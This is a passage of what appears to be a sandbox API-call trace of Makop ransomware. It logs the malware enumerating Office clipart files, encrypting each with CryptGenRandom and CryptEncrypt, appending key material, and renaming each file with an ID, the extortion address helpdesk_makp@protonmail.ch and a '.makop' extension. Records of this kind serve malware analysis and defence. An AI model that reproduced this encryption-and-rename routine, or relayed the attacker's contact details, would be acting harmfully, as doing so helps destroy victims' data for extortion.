nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.911] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.912] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.912] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2dae, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2dae, lpOverlapped=0x0) returned 1 [0116.913] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2db0, dwBufLen=0x2db0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2db0) returned 1 [0116.913] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.914] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2db0, lpOverlapped=0x0) returned 1 [0116.914] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.914] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.914] SetEndOfFile (hFile=0xf0) returned 1 [0116.921] GetProcessHeap () returned 0x48a0000 [0116.921] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.921] GetProcessHeap () returned 0x48a0000 [0116.921] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.921] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.921] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.922] CloseHandle (hObject=0xf0) returned 1 [0116.922] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099153.WMF", cAlternateFileName="")) returned 1 [0116.922] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0116.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.924] GetProcessHeap () returned 0x48a0000 [0116.924] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.924] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.924] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.925] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0116.929] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.929] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.929] GetProcessHeap () returned 0x48a0000 [0116.929] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.929] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.929] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.929] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.929] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.929] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.929] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.930] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.930] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.930] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.930] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3632, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3632, lpOverlapped=0x0) returned 1 [0116.932] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3640, dwBufLen=0x3640 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3640) returned 1 [0116.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.932] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3640, lpOverlapped=0x0) returned 1 [0116.932] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.932] SetEndOfFile (hFile=0xf0) returned 1 [0116.939] GetProcessHeap () returned 0x48a0000 [0116.939] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.939] GetProcessHeap () returned 0x48a0000 [0116.940] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.940] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.940] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.943] CloseHandle (hObject=0xf0) returned 1 [0116.944] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1b11, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099154.JPG", cAlternateFileName="")) returned 1 [0116.944] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0116.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.946] GetProcessHeap () returned 0x48a0000 [0116.946] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.946] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.946] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.946] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0116.950] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.950] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.951] GetProcessHeap () returned 0x48a0000 [0116.951] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.951] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.951] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.951] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.951] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.951] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.951] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.952] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.952] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.952] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.952] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.952] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.952] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b11, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b11, lpOverlapped=0x0) returned 1 [0116.953] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b20, dwBufLen=0x1b20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b20) returned 1 [0116.954] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.954] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b20, lpOverlapped=0x0) returned 1 [0116.954] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.954] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1bf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.954] SetEndOfFile (hFile=0xf0) returned 1 [0116.961] GetProcessHeap () returned 0x48a0000 [0116.961] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.961] GetProcessHeap () returned 0x48a0000 [0116.961] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.961] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.962] CloseHandle (hObject=0xf0) returned 1 [0116.962] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x227a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099155.JPG", cAlternateFileName="")) returned 1 [0116.963] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0116.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.963] GetProcessHeap () returned 0x48a0000 [0116.963] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.963] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.963] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.964] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0116.971] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.971] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.971] GetProcessHeap () returned 0x48a0000 [0116.971] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.972] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.972] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.972] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.972] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.972] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.972] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.972] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.973] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.973] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.973] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.973] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x227a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x227a, lpOverlapped=0x0) returned 1 [0116.975] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2280, dwBufLen=0x2280 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2280) returned 1 [0116.975] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.975] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2280, lpOverlapped=0x0) returned 1 [0116.975] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.975] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.975] SetEndOfFile (hFile=0xf0) returned 1 [0116.983] GetProcessHeap () returned 0x48a0000 [0116.983] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.983] GetProcessHeap () returned 0x48a0000 [0116.983] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.983] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.983] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.985] CloseHandle (hObject=0xf0) returned 1 [0116.985] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3682, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099156.JPG", cAlternateFileName="")) returned 1 [0116.985] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0116.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.986] GetProcessHeap () returned 0x48a0000 [0116.986] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.986] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.986] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0116.990] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.991] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.991] GetProcessHeap () returned 0x48a0000 [0116.991] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.991] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.991] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.991] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.991] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.991] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, 